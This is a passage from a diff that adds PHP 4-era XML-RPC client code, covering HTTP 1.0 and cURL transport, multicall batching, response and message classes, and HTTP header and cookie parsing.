+					$this->username,
+					$this->password,
+					$this->authtype,
+					$this->cert,
+					$this->certpass,
+					$this->cacert,
+					$this->cacertdir,
+					$this->proxy,
+					$this->proxyport,
+					$this->proxy_user,
+					$this->proxy_pass,
+					$this->proxy_authtype,
+					$this->keepalive,
+					$this->key,
+					$this->keypass
+				);
+			}
+			elseif($method == 'http11')
+			{
+				$r =& $this->sendPayloadCURL(
+					$msg,
+					$this->server,
+					$this->port,
+					$timeout,
+					$this->username,
+					$this->password,
+					$this->authtype,
+					null,
+					null,
+					null,
+					null,
+					$this->proxy,
+					$this->proxyport,
+					$this->proxy_user,
+					$this->proxy_pass,
+					$this->proxy_authtype,
+					'http',
+					$this->keepalive
+				);
+			}
+			else
+			{
+				$r =& $this->sendPayloadHTTP10(
+					$msg,
+					$this->server,
+					$this->port,
+					$timeout,
+					$this->username,
+					$this->password,
+					$this->authtype,
+					$this->proxy,
+					$this->proxyport,
+					$this->proxy_user,
+					$this->proxy_pass,
+					$this->proxy_authtype
+				);
+			}
+
+			return $r;
+		}
+
+		/**
+		* @access private
+		*/
+		function &sendPayloadHTTP10($msg, $server, $port, $timeout=0,
+			$username='', $password='', $authtype=1, $proxyhost='',
+			$proxyport=0, $proxyusername='', $proxypassword='', $proxyauthtype=1)
+		{
+			if($port==0)
+			{
+				$port=80;
+			}
+
+			// Only create the payload if it was not created previously
+			if(empty($msg->payload))
+			{
+				$msg->createPayload($this->request_charset_encoding);
+			}
+
+			$payload = $msg->payload;
+			// Deflate request body and set appropriate request headers
+			if(function_exists('gzdeflate') && ($this->request_compression == 'gzip' || $this->request_compression == 'deflate'))
+			{
+				if($this->request_compression == 'gzip')
+				{
+					$a = @gzencode($payload);
+					if($a)
+					{
+						$payload = $a;
+						$encoding_hdr = "Content-Encoding: gzip\r\n";
+					}
+				}
+				else
+				{
+					$a = @gzcompress($payload);
+					if($a)
+					{
+						$payload = $a;
+						$encoding_hdr = "Content-Encoding: deflate\r\n";
+					}
+				}
+			}
+			else
+			{
+				$encoding_hdr = '';
+			}
+
+			// thanks to Grant Rauscher <grant7@firstworld.net> for this
+			$credentials='';
+			if($username!='')
+			{
+				$credentials='Authorization: Basic ' . base64_encode($username . ':' . $password) . "\r\n";
+				if ($authtype != 1)
+				{
+					error_log('XML-RPC: xmlrpc_client::send: warning. Only Basic auth is supported with HTTP 1.0');
+				}
+			}
+
+			$accepted_encoding = '';
+			if(is_array($this->accepted_compression) && count($this->accepted_compression))
+			{
+				$accepted_encoding = 'Accept-Encoding: ' . implode(', ', $this->accepted_compression) . "\r\n";
+			}
+
+			$proxy_credentials = '';
+			if($proxyhost)
+			{
+				if($proxyport == 0)
+				{
+					$proxyport = 8080;
+				}
+				$connectserver = $proxyhost;
+				$connectport = $proxyport;
+				$uri = 'http://'.$server.':'.$port.$this->path;
+				if($proxyusername != '')
+				{
+					if ($proxyauthtype != 1)
+					{
+						error_log('XML-RPC: xmlrpc_client::send: warning. Only Basic auth to proxy is supported with HTTP 1.0');
+					}
+					$proxy_credentials = 'Proxy-Authorization: Basic ' . base64_encode($proxyusername.':'.$proxypassword) . "\r\n";
+				}
+			}
+			else
+			{
+				$connectserver = $server;
+				$connectport = $port;
+				$uri = $this->path;
+			}
+
+			// Cookie generation, as per rfc2965 (version 1 cookies) or
+			// netscape's rules (version 0 cookies)
+			$cookieheader='';
+			foreach ($this->cookies as $name => $cookie)
+			{
+				if ($cookie['version'])
+				{
+					$cookieheader .= 'Cookie: $Version="' . $cookie['version'] . '"; ';
+					$cookieheader .= $name . '="' . $cookie['value'] . '";';
+					if ($cookie['path'])
+						$cookieheader .= ' $Path="' . $cookie['path'] . '";';
+					if ($cookie['domain'])
+						$cookieheader .= ' $Domain="' . $cookie['domain'] . '";';
+					if ($cookie['port'])
+						$cookieheader .= ' $Port="' . $cookie['domain'] . '";';
+					$cookieheader = substr($cookieheader, 0, -1) . "\r\n";
+				}
+				else
+				{
+					$cookieheader .= 'Cookie: ' . $name . '=' . $cookie['value'] . "\r\n";
+				}
+			}
+
+			$op= 'POST ' . $uri. " HTTP/1.0\r\n" .
+				'User-Agent: ' . $GLOBALS['xmlrpcName'] . ' ' . $GLOBALS['xmlrpcVersion'] . "\r\n" .
+				'Host: '. $server . ':' . $port . "\r\n" .
+				$credentials .
+				$proxy_credentials .
+				$accepted_encoding .
+				$encoding_hdr .
+				'Accept-Charset: ' . implode(',', $this->accepted_charset_encodings) . "\r\n" .
+				$cookieheader .
+				'Content-Type: ' . $msg->content_type . "\r\nContent-Length: " .
+				strlen($payload) . "\r\n\r\n" .
+				$payload;
+
+			if($this->debug > 1)
+			{
+				print "<PRE>\n---SENDING---\n" . htmlentities($op) . "\n---END---\n</PRE>";
+				// let the client see this now in case http times out...
+				flush();
+			}
+
+			if($timeout>0)
+			{
+				$fp=@fsockopen($connectserver, $connectport, $this->errno, $this->errstr, $timeout);
+			}
+			else
+			{
+				$fp=@fsockopen($connectserver, $connectport, $this->errno, $this->errstr);
+			}
+			if($fp)
+			{
+				if($timeout>0 && function_exists('stream_set_timeout'))
+				{
+					stream_set_timeout($fp, $timeout);
+				}
+			}
+			else
+			{
+				$this->errstr='Connect error: '.$this->errstr;
+				$r=&new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['http_error'], $this->errstr . ' (' . $this->errno . ')');
+				return $r;
+			}
+
+			if(!fputs($fp, $op, strlen($op)))
+			{
+				$this->errstr='Write error';
+				$r=&new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['http_error'], $this->errstr);
+				return $r;
+			}
+			else
+			{
+				// reset errno and errstr on succesful socket connection
+				$this->errstr = '';
+			}
+			// G. Giunta 2005/10/24: close socket before parsing.
+			// should yeld slightly better execution times, and make easier recursive calls (e.g. to follow http redirects)
+			$ipd='';
+			while($data=fread($fp, 32768))
+			{
+				// shall we check for $data === FALSE?
+				// as per the manual, it signals an error
+				$ipd.=$data;
+			}
+			fclose($fp);
+			$r =& $msg->parseResponse($ipd, false, $this->return_type);
+			return $r;
+
+		}
+
+		/**
+		* @access private
+		*/
+		function &sendPayloadHTTPS($msg, $server, $port, $timeout=0, $username='',
+			$password='', $authtype=1, $cert='',$certpass='', $cacert='', $cacertdir='',
+			$proxyhost='', $proxyport=0, $proxyusername='', $proxypassword='', $proxyauthtype=1,
+			$keepalive=false, $key='', $keypass='')
+		{
+			$r =& $this->sendPayloadCURL($msg, $server, $port, $timeout, $username,
+				$password, $authtype, $cert, $certpass, $cacert, $cacertdir, $proxyhost, $proxyport,
+				$proxyusername, $proxypassword, $proxyauthtype, 'https', $keepalive, $key, $keypass);
+			return $r;
+		}
+
+		/**
+		* Contributed by Justin Miller <justin@voxel.net>
+		* Requires curl to be built into PHP
+		* NB: CURL versions before 7.11.10 cannot use proxy to talk to https servers!
+		* @access private
+		*/
+		function &sendPayloadCURL($msg, $server, $port, $timeout=0, $username='',
+			$password='', $authtype=1, $cert='', $certpass='', $cacert='', $cacertdir='',
+			$proxyhost='', $proxyport=0, $proxyusername='', $proxypassword='', $proxyauthtype=1, $method='https',
+			$keepalive=false, $key='', $keypass='')
+		{
+			if(!function_exists('curl_init'))
+			{
+				$this->errstr='CURL unavailable on this install';
+				$r=&new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['no_curl'], $GLOBALS['xmlrpcstr']['no_curl']);
+				return $r;
+			}
+			if($method == 'https')
+			{
+				if(($info = curl_version()) &&
+					((is_string($info) && strpos($info, 'OpenSSL') === null) || (is_array($info) && !isset($info['ssl_version']))))
+				{
+					$this->errstr='SSL unavailable on this install';
+					$r=&new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['no_ssl'], $GLOBALS['xmlrpcstr']['no_ssl']);
+					return $r;
+				}
+			}
+
+			if($port == 0)
+			{
+				if($method == 'http')
+				{
+					$port = 80;
+				}
+				else
+				{
+					$port = 443;
+				}
+			}
+
+			// Only create the payload if it was not created previously
+			if(empty($msg->payload))
+			{
+				$msg->createPayload($this->request_charset_encoding);
+			}
+
+			// Deflate request body and set appropriate request headers
+			$payload = $msg->payload;
+			if(function_exists('gzdeflate') && ($this->request_compression == 'gzip' || $this->request_compression == 'deflate'))
+			{
+				if($this->request_compression == 'gzip')
+				{
+					$a = @gzencode($payload);
+					if($a)
+					{
+						$payload = $a;
+						$encoding_hdr = 'Content-Encoding: gzip';
+					}
+				}
+				else
+				{
+					$a = @gzcompress($payload);
+					if($a)
+					{
+						$payload = $a;
+						$encoding_hdr = 'Content-Encoding: deflate';
+					}
+				}
+			}
+			else
+			{
+				$encoding_hdr = '';
+			}
+
+			if($this->debug > 1)
+			{
+				print "<PRE>\n---SENDING---\n" . htmlentities($payload) . "\n---END---\n</PRE>";
+				// let the client see this now in case http times out...
+				flush();
+			}
+
+			if(!$keepalive || !$this->xmlrpc_curl_handle)
+			{
+				$curl = curl_init($method . '://' . $server . ':' . $port . $this->path);
+				if($keepalive)
+				{
+					$this->xmlrpc_curl_handle = $curl;
+				}
+			}
+			else
+			{
+				$curl = $this->xmlrpc_curl_handle;
+			}
+
+			// results into variable
+			curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
+
+			if($this->debug)
+			{
+				curl_setopt($curl, CURLOPT_VERBOSE, 1);
+			}
+			curl_setopt($curl, CURLOPT_USERAGENT, $GLOBALS['xmlrpcName'].' '.$GLOBALS['xmlrpcVersion']);
+			// required for XMLRPC: post the data
+			curl_setopt($curl, CURLOPT_POST, 1);
+			// the data
+			curl_setopt($curl, CURLOPT_POSTFIELDS, $payload);
+
+			// return the header too
+			curl_setopt($curl, CURLOPT_HEADER, 1);
+
+			// will only work with PHP >= 5.0
+			// NB: if we set an empty string, CURL will add http header indicating
+			// ALL methods it is supporting. This is possibly a better option than
+			// letting the user tell what curl can / cannot do...
+			if(is_array($this->accepted_compression) && count($this->accepted_compression))
+			{
+				//curl_setopt($curl, CURLOPT_ENCODING, implode(',', $this->accepted_compression));
+				// empty string means 'any supported by CURL' (shall we catch errors in case CURLOPT_SSLKEY undefined ?)
+				if (count($this->accepted_compression) == 1)
+				{
+					curl_setopt($curl, CURLOPT_ENCODING, $this->accepted_compression[0]);
+				}
+				else
+					curl_setopt($curl, CURLOPT_ENCODING, '');
+			}
+			// extra headers
+			$headers = array('Content-Type: ' . $msg->content_type , 'Accept-Charset: ' . implode(',', $this->accepted_charset_encodings));
+			// if no keepalive is wanted, let the server know it in advance
+			if(!$keepalive)
+			{
+				$headers[] = 'Connection: close';
+			}
+			// request compression header
+			if($encoding_hdr)
+			{
+				$headers[] = $encoding_hdr;
+			}
+
+			curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
+			// timeout is borked
+			if($timeout)
+			{
+				curl_setopt($curl, CURLOPT_TIMEOUT, $timeout == 1 ? 1 : $timeout - 1);
+			}
+
+			if($username && $password)
+			{
+				curl_setopt($curl, CURLOPT_USERPWD, $username.':'.$password);
+				if (defined('CURLOPT_HTTPAUTH'))
+				{
+					curl_setopt($curl, CURLOPT_HTTPAUTH, $authtype);
+				}
+				else if ($authtype != 1)
+				{
+					error_log('XML-RPC: xmlrpc_client::send: warning. Only Basic auth is supported by the current PHP/curl install');
+				}
+			}
+
+			if($method == 'https')
+			{
+				// set cert file
+				if($cert)
+				{
+					curl_setopt($curl, CURLOPT_SSLCERT, $cert);
+				}
+				// set cert password
+				if($certpass)
+				{
+					curl_setopt($curl, CURLOPT_SSLCERTPASSWD, $certpass);
+				}
+				// whether to verify remote host's cert
+				curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, $this->verifypeer);
+				// set ca certificates file/dir
+				if($cacert)
+				{
+					curl_setopt($curl, CURLOPT_CAINFO, $cacert);
+				}
+				if($cacertdir)
+				{
+					curl_setopt($curl, CURLOPT_CAPATH, $cacertdir);
+				}
+				// set key file (shall we catch errors in case CURLOPT_SSLKEY undefined ?)
+				if($key)
+				{
+					curl_setopt($curl, CURLOPT_SSLKEY, $key);
+				}
+				// set key password (shall we catch errors in case CURLOPT_SSLKEY undefined ?)
+				if($keypass)
+				{
+					curl_setopt($curl, CURLOPT_SSLKEYPASSWD, $keypass);
+				}
+				// whether to verify cert's common name (CN); 0 for no, 1 to verify that it exists, and 2 to verify that it matches the hostname used
+				curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, $this->verifyhost);
+			}
+
+			// proxy info
+			if($proxyhost)
+			{
+				if($proxyport == 0)
+				{
+					$proxyport = 8080; // NB: even for HTTPS, local connection is on port 8080
+				}
+				curl_setopt($curl, CURLOPT_PROXY,$proxyhost.':'.$proxyport);
+				//curl_setopt($curl, CURLOPT_PROXYPORT,$proxyport);
+				if($proxyusername)
+				{
+					curl_setopt($curl, CURLOPT_PROXYUSERPWD, $proxyusername.':'.$proxypassword);
+					if (defined('CURLOPT_PROXYAUTH'))
+					{
+						curl_setopt($curl, CURLOPT_PROXYAUTH, $proxyauthtype);
+					}
+					else if ($proxyauthtype != 1)
+					{
+						error_log('XML-RPC: xmlrpc_client::send: warning. Only Basic auth to proxy is supported by the current PHP/curl install');
+					}
+				}
+			}
+
+			// NB: should we build cookie http headers by hand rather than let CURL do it?
+			// the following code does not honour 'expires', 'path' and 'domain' cookie attributes
+			// set to clint obj the the user...
+			if (count($this->cookies))
+			{
+				$cookieheader = '';
+				foreach ($this->cookies as $name => $cookie)
+				{
+					$cookieheader .= $name . '=' . $cookie['value'] . ', ';
+				}
+				curl_setopt($curl, CURLOPT_COOKIE, substr($cookieheader, 0, -2));
+			}
+
+			$result = curl_exec($curl);
+
+			if(!$result)
+			{
+				$this->errstr='no response';
+				$resp=&new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['curl_fail'], $GLOBALS['xmlrpcstr']['curl_fail']. ': '. curl_error($curl));
+				if(!$keepalive)
+				{
+					curl_close($curl);
+				}
+			}
+			else
+			{
+				if(!$keepalive)
+				{
+					curl_close($curl);
+				}
+				$resp =& $msg->parseResponse($result, true, $this->return_type);
+			}
+			return $resp;
+		}
+
+		/**
+		* Send an array of request messages and return an array of responses.
+		* Unless $this->no_multicall has been set to true, it will try first
+		* to use one single xmlrpc call to server method system.multicall, and
+		* revert to sending many successive calls in case of failure.
+		* This failure is also stored in $this->no_multicall for subsequent calls.
+		* Unfortunately, there is no server error code universally used to denote
+		* the fact that multicall is unsupported, so there is no way to reliably
+		* distinguish between that and a temporary failure.
+		* If you are sure that server supports multicall and do not want to
+		* fallback to using many single calls, set the fourth parameter to FALSE.
+		*
+		* NB: trying to shoehorn extra functionality into existing syntax has resulted
+		* in pretty much convoluted code...
+		*
+		* @param array $msgs an array of xmlrpcmsg objects
+		* @param integer $timeout connection timeout (in seconds)
+		* @param string $method the http protocol variant to be used
+		* @param boolen fallback When true, upon receiveing an error during multicall, multiple single calls will be attempted
+		* @return array
+		* @access public
+		*/
+		function multicall($msgs, $timeout=0, $method='http', $fallback=true)
+		{
+			if(!$this->no_multicall)
+			{
+				$results = $this->_try_multicall($msgs, $timeout, $method);
+				if(is_array($results))
+				{
+					// System.multicall succeeded
+					return $results;
+				}
+				else
+				{
+					// either system.multicall is unsupported by server,
+					// or call failed for some other reason.
+					if ($fallback)
+					{
+						// Don't try it next time...
+						$this->no_multicall = true;
+					}
+					else
+					{
+						if (is_a($results, 'xmlrpcresp'))
+						{
+							$result = $results;
+						}
+						else
+						{
+							$result =& new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['multicall_error'], $GLOBALS['xmlrpcstr']['multicall_error']);
+						}
+					}
+				}
+			}
+			else
+			{
+				// override fallback, in case careless user tries to do two
+				// opposite things at the same time
+				$fallback = true;
+			}
+
+			$results = array();
+			if ($fallback)
+			{
+				// system.multicall is (probably) unsupported by server:
+				// emulate multicall via multiple requests
+				foreach($msgs as $msg)
+				{
+					$results[] =& $this->send($msg, $timeout, $method);
+				}
+			}
+			else
+			{
+				// user does NOT want to fallback on many single calls:
+				// since we should always return an array of responses,
+				// return an array with the same error repeated n times
+				foreach($msgs as $msg)
+				{
+					$results[] = $result;
+				}
+			}
+			return $results;
+		}
+
+		/**
+		* Attempt to boxcar $msgs via system.multicall.
+		* Returns either an array of xmlrpcreponses, an xmlrpc error response
+		* or false (when recived response does not respect valid multiccall syntax)
+		* @access private
+		*/
+		function _try_multicall($msgs, $timeout, $method)
+		{
+			// Construct multicall message
+			$calls = array();
+			foreach($msgs as $msg)
+			{
+				$call['methodName'] =& new xmlrpcval($msg->method(),'string');
+				$numParams = $msg->getNumParams();
+				$params = array();
+				for($i = 0; $i < $numParams; $i++)
+				{
+					$params[$i] = $msg->getParam($i);
+				}
+				$call['params'] =& new xmlrpcval($params, 'array');
+				$calls[] =& new xmlrpcval($call, 'struct');
+			}
+			$multicall =& new xmlrpcmsg('system.multicall');
+			$multicall->addParam(new xmlrpcval($calls, 'array'));
+
+			// Attempt RPC call
+			$result =& $this->send($multicall, $timeout, $method);
+
+			if($result->faultCode() != 0)
+			{
+				// call to system.multicall failed
+				return $result;
+			}
+
+			// Unpack responses.
+			$rets = $result->value();
+
+			if ($this->return_type == 'xml')
+			{
+					return $rets;
+			}
+			else if ($this->return_type == 'phpvals')
+			{
+				///@todo test this code branch...
+				$rets = $result->value();
+				if(!is_array($rets))
+				{
+					return false;		// bad return type from system.multicall
+				}
+				$numRets = count($rets);
+				if($numRets != count($msgs))
+				{
+					return false;		// wrong number of return values.
+				}
+
+				$response = array();
+				for($i = 0; $i < $numRets; $i++)
+				{
+					$val = $rets[$i];
+					if (!is_array($val)) {
+						return false;
+					}
+					switch(count($val))
+					{
+						case 1:
+							if(!isset($val[0]))
+							{
+								return false;		// Bad value
+							}
+							// Normal return value
+							$response[$i] =& new xmlrpcresp($val[0], 0, '', 'phpvals');
+							break;
+						case 2:
+							///	@todo remove usage of @: it is apparently quite slow
+							$code = @$val['faultCode'];
+							if(!is_int($code))
+							{
+								return false;
+							}
+							$str = @$val['faultString'];
+							if(!is_string($str))
+							{
+								return false;
+							}
+							$response[$i] =& new xmlrpcresp(0, $code, $str);
+							break;
+						default:
+							return false;
+					}
+				}
+				return $response;
+			}
+			else // return type == 'xmlrpcvals'
+			{
+				$rets = $result->value();
+				if($rets->kindOf() != 'array')
+				{
+					return false;		// bad return type from system.multicall
+				}
+				$numRets = $rets->arraysize();
+				if($numRets != count($msgs))
+				{
+					return false;		// wrong number of return values.
+				}
+
+				$response = array();
+				for($i = 0; $i < $numRets; $i++)
+				{
+					$val = $rets->arraymem($i);
+					switch($val->kindOf())
+					{
+						case 'array':
+							if($val->arraysize() != 1)
+							{
+								return false;		// Bad value
+							}
+							// Normal return value
+							$response[$i] =& new xmlrpcresp($val->arraymem(0));
+							break;
+						case 'struct':
+							$code = $val->structmem('faultCode');
+							if($code->kindOf() != 'scalar' || $code->scalartyp() != 'int')
+							{
+								return false;
+							}
+							$str = $val->structmem('faultString');
+							if($str->kindOf() != 'scalar' || $str->scalartyp() != 'string')
+							{
+								return false;
+							}
+							$response[$i] =& new xmlrpcresp(0, $code->scalarval(), $str->scalarval());
+							break;
+						default:
+							return false;
+					}
+				}
+				return $response;
+			}
+		}
+	} // end class xmlrpc_client
+
+	class xmlrpcresp
+	{
+		var $val = 0;
+		var $valtyp;
+		var $errno = 0;
+		var $errstr = '';
+		var $payload;
+		var $hdrs = array();
+		var $_cookies = array();
+		var $content_type = 'text/xml';
+		var $raw_data = '';
+
+		/**
+		* @param mixed $val either an xmlrpcval obj, a php value or the xml serialization of an xmlrpcval (a string)
+		* @param integer $fcode set it to anything but 0 to create an error response
+		* @param string $fstr the error string, in case of an error response
+		* @param string $valtyp either 'xmlrpcvals', 'phpvals' or 'xml'
+		*
+		* @todo add check that $val / $fcode / $fstr is of correct type???
+		* NB: as of now we do not do it, since it might be either an xmlrpcval or a plain
+		* php val, or a complete xml chunk, depending on usage of xmlrpc_client::send() inside which creator is called...
+		*/
+		function xmlrpcresp($val, $fcode = 0, $fstr = '', $valtyp='')
+		{
+			if($fcode != 0)
+			{
+				// error response
+				$this->errno = $fcode;
+				$this->errstr = $fstr;
+				//$this->errstr = htmlspecialchars($fstr); // XXX: encoding probably shouldn't be done here; fix later.
+			}
+			else
+			{
+				// successful response
+				$this->val = $val;
+				if ($valtyp == '')
+				{
+					// user did not declare type of response value: try to guess it
+					if (is_object($this->val) && is_a($this->val, 'xmlrpcval'))
+					{
+						$this->valtyp = 'xmlrpcvals';
+					}
+					else if (is_string($this->val))
+					{
+						$this->valtyp = 'xml';
+
+					}
+					else
+					{
+						$this->valtyp = 'phpvals';
+					}
+				}
+				else
+				{
+					// user declares type of resp value: believe him
+					$this->valtyp = $valtyp;
+				}
+			}
+		}
+
+		/**
+		* Returns the error code of the response.
+		* @return integer the error code of this response (0 for not-error responses)
+		* @access public
+		*/
+		function faultCode()
+		{
+			return $this->errno;
+		}
+
+		/**
+		* Returns the error code of the response.
+		* @return string the error string of this response ('' for not-error responses)
+		* @access public
+		*/
+		function faultString()
+		{
+			return $this->errstr;
+		}
+
+		/**
+		* Returns the value received by the server.
+		* @return mixed the xmlrpcval object returned by the server. Might be an xml string or php value if the response has been created by specially configured xmlrpc_client objects
+		* @access public
+		*/
+		function value()
+		{
+			return $this->val;
+		}
+
+		/**
+		* Returns an array with the cookies received from the server.
+		* Array has the form: $cookiename => array ('value' => $val, $attr1 => $val1, $attr2 = $val2, ...)
+		* with attributes being e.g. 'expires', 'path', domain'.
+		* NB: cookies sent as 'expired' by the server (i.e. with an expiry date in the past)
+		* are still present in the array. It is up to the user-defined code to decide
+		* how to use the received cookies, and wheter they have to be sent back with the next
+		* request to the server (using xmlrpc_client::setCookie) or not
+		* @return array array of cookies received from the server
+		* @access public
+		*/
+		function cookies()
+		{
+			return $this->_cookies;
+		}
+
+		/**
+		* Returns xml representation of the response. XML prologue not included
+		* @param string $charset_encoding the charset to be used for serialization. if null, US-ASCII is assumed
+		* @return string the xml representation of the response
+		* @access public
+		*/
+		function serialize($charset_encoding='')
+		{
+			if ($charset_encoding != '')
+				$this->content_type = 'text/xml; charset=' . $charset_encoding;
+			else
+				$this->content_type = 'text/xml';
+			$result = "<methodResponse>\n";
+			if($this->errno)
+			{
+				// G. Giunta 2005/2/13: let non-ASCII response messages be tolerated by clients
+				// by xml-encoding non ascii chars
+				$result .= "<fault>\n" .
+"<value>\n<struct><member><name>faultCode</name>\n<value><int>" . $this->errno .
+"</int></value>\n</member>\n<member>\n<name>faultString</name>\n<value><string>" .
+xmlrpc_encode_entitites($this->errstr, $GLOBALS['xmlrpc_internalencoding'], $charset_encoding) . "</string></value>\n</member>\n" .
+"</struct>\n</value>\n</fault>";
+			}
+			else
+			{
+				if(!is_object($this->val) || !is_a($this->val, 'xmlrpcval'))
+				{
+					if (is_string($this->val) && $this->valtyp == 'xml')
+					{
+						$result .= "<params>\n<param>\n" .
+							$this->val .
+							"</param>\n</params>";
+					}
+					else
+					{
+						/// @todo try to build something serializable?
+						die('cannot serialize xmlrpcresp objects whose content is native php values');
+					}
+				}
+				else
+				{
+					$result .= "<params>\n<param>\n" .
+						$this->val->serialize($charset_encoding) .
+						"</param>\n</params>";
+				}
+			}
+			$result .= "\n</methodResponse>";
+			$this->payload = $result;
+			return $result;
+		}
+	}
+
+	class xmlrpcmsg
+	{
+		var $payload;
+		var $methodname;
+		var $params=array();
+		var $debug=0;
+		var $content_type = 'text/xml';
+
+		/**
+		* @param string $meth the name of the method to invoke
+		* @param array $pars array of parameters to be paased to the method (xmlrpcval objects)
+		*/
+		function xmlrpcmsg($meth, $pars=0)
+		{
+			$this->methodname=$meth;
+			if(is_array($pars) && count($pars)>0)
+			{
+				for($i=0; $i<count($pars); $i++)
+				{
+					$this->addParam($pars[$i]);
+				}
+			}
+		}
+
+		/**
+		* @access private
+		*/
+		function xml_header($charset_encoding='')
+		{
+			if ($charset_encoding != '')
+			{
+				return "<?xml version=\"1.0\" encoding=\"$charset_encoding\" ?" . ">\n<methodCall>\n";
+			}
+			else
+			{
+				return "<?xml version=\"1.0\"?" . ">\n<methodCall>\n";
+			}
+		}
+
+		/**
+		* @access private
+		*/
+		function xml_footer()
+		{
+			return '</methodCall>';
+		}
+
+		/**
+		* @access private
+		*/
+		function kindOf()
+		{
+			return 'msg';
+		}
+
+		/**
+		* @access private
+		*/
+		function createPayload($charset_encoding='')
+		{
+			if ($charset_encoding != '')
+				$this->content_type = 'text/xml; charset=' . $charset_encoding;
+			else
+				$this->content_type = 'text/xml';
+			$this->payload=$this->xml_header($charset_encoding);
+			$this->payload.='<methodName>' . $this->methodname . "</methodName>\n";
+			$this->payload.="<params>\n";
+			for($i=0; $i<count($this->params); $i++)
+			{
+				$p=$this->params[$i];
+				$this->payload.="<param>\n" . $p->serialize($charset_encoding) .
+				"</param>\n";
+			}
+			$this->payload.="</params>\n";
+			$this->payload.=$this->xml_footer();
+		}
+
+		/**
+		* Gets/sets the xmlrpc method to be invoked
+		* @param string $meth the method to be set (leave empty not to set it)
+		* @return string the method that will be invoked
+		* @access public
+		*/
+		function method($meth='')
+		{
+			if($meth!='')
+			{
+				$this->methodname=$meth;
+			}
+			return $this->methodname;
+		}
+
+		/**
+		* Returns xml representation of the message. XML prologue included
+		* @return string the xml representation of the message, xml prologue included
+		* @access public
+		*/
+		function serialize($charset_encoding='')
+		{
+			$this->createPayload($charset_encoding);
+			return $this->payload;
+		}
+
+		/**
+		* Add a parameter to the list of parameters to be used upon method invocation
+		* @param xmlrpcval $par
+		* @return boolean false on failure
+		* @access public
+		*/
+		function addParam($par)
+		{
+			// add check: do not add to self params which are not xmlrpcvals
+			if(is_object($par) && is_a($par, 'xmlrpcval'))
+			{
+				$this->params[]=$par;
+				return true;
+			}
+			else
+			{
+				return false;
+			}
+		}
+
+		/**
+		* Returns the nth parameter in the message. The index zero-based.
+		* @param integer $i the index of the parameter to fetch (zero based)
+		* @return xmlrpcval the i-th parameter
+		* @access public
+		*/
+		function getParam($i) { return $this->params[$i]; }
+
+		/**
+		* Returns the number of parameters in the messge.
+		* @return integer the number of parameters currently set
+		* @access public
+		*/
+		function getNumParams() { return count($this->params); }
+
+		/**
+		* Given an open file handle, read all data available and parse it as axmlrpc response.
+		* NB: the file handle is not closed by this function.
+		* @access public
+		* @return xmlrpcresp
+		* @todo add 2nd & 3rd param to be passed to ParseResponse() ???
+		*/
+		function &parseResponseFile($fp)
+		{
+			$ipd='';
+			while($data=fread($fp, 32768))
+			{
+				$ipd.=$data;
+			}
+			//fclose($fp);
+			$r =& $this->parseResponse($ipd);
+			return $r;
+		}
+
+		/**
+		* Parses HTTP headers and separates them from data.
+		* @access private
+		*/
+		function &parseResponseHeaders(&$data, $headers_processed=false)
+		{
+				// Strip HTTP 1.1 100 Continue header if present
+				while(preg_match('/^HTTP\/1\.1 1[0-9]{2} /', $data))
+				{
+					$pos = strpos($data, 'HTTP', 12);
+					// server sent a Continue header without any (valid) content following...
+					// give the client a chance to know it
+					if(!$pos && !is_int($pos)) // works fine in php 3, 4 and 5
+					{
+						break;
+					}
+					$data = substr($data, $pos);
+				}
+				if(!preg_match('/^HTTP\/[0-9.]+ 200 /', $data))
+				{
+					$errstr= substr($data, 0, strpos($data, "\n")-1);
+					error_log('XML-RPC: xmlrpcmsg::parseResponse: HTTP error, got response: ' .$errstr);
+					$r=&new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['http_error'], $GLOBALS['xmlrpcstr']['http_error']. ' (' . $errstr . ')');
+					return $r;
+				}
+
+				$GLOBALS['_xh']['headers'] = array();
+				$GLOBALS['_xh']['cookies'] = array();
+
+				// be tolerant to usage of \n instead of \r\n to separate headers and data
+				// (even though it is not valid http)
+				$pos = strpos($data,"\r\n\r\n");
+				if($pos || is_int($pos))
+				{
+					$bd = $pos+4;
+				}
+				else
+				{
+					$pos = strpos($data,"\n\n");
+					if($pos || is_int($pos))
+					{
+						$bd = $pos+2;
+					}
+					else
+					{
+						// No separation between response headers and body: fault?
+						$bd = 0;
+					}
+				}
+				// be tolerant to line endings, and extra empty lines
+				$ar = split("\r?\n", trim(substr($data, 0, $pos)));
+				while(list(,$line) = @each($ar))
+				{
+					// take care of multi-line headers and cookies
+					$arr = explode(':',$line,2);
+					if(count($arr) > 1)
+					{
+						$header_name = strtolower(trim($arr[0]));
+						/// @todo some other headers (the ones that allow a CSV list of values)
+						/// do allow many values to be passed using multiple header lines.
+						/// We should add content to $GLOBALS['_xh']['headers'][$header_name]
+						/// instead of replacing it for those...
+						if ($header_name == 'set-cookie' || $header_name == 'set-cookie2')
+						{
+							if ($header_name == 'set-cookie2')
+							{
+								// version 2 cookies:
+								// there could be many cookies on one line, comma separated
+								$cookies = explode(',', $arr[1]);
+							}
+							else
+							{
+								$cookies = array($arr[1]);
+							}
+							foreach ($cookies as $cookie)
+							{
+								// glue together all received cookies, using a comma to separate them
+								// (same as php does with getallheaders())
+								if (isset($GLOBALS['_xh']['headers'][$header_name]))
+									$GLOBALS['_xh']['headers'][$header_name] .= ', ' . trim($cookie);
+								else
+									$GLOBALS['_xh']['headers'][$header_name] = trim($cookie);
+								// parse cookie attributes, in case user wants to coorectly honour then
+								// feature creep: only allow rfc-compliant cookie attributes?
+								$cookie = explode(';', $cookie);
+								foreach ($cookie as $pos => $val)
+								{
+									$val = explode('=', $val, 2);
+									$tag = trim($val[0]);
+									$val = trim(@$val[1]);
+									/// @todo with version 1 cookies, we should strip leading and trailing " chars
+									if ($pos == 0)
+									{
+										$cookiename = $tag;
+										$GLOBALS['_xh']['cookies'][$tag] = array();
+										$GLOBALS['_xh']['cookies'][$cookiename]['value'] = urldecode($val);
+									}
+									else
+									{
+										$GLOBALS['_xh']['cookies'][$cookiename][$tag] = $val;
+									}
+								}
+							}
+						}
+						else
+						{
+							$GLOBALS['_xh']['headers'][$header_name] = trim($arr[1]);
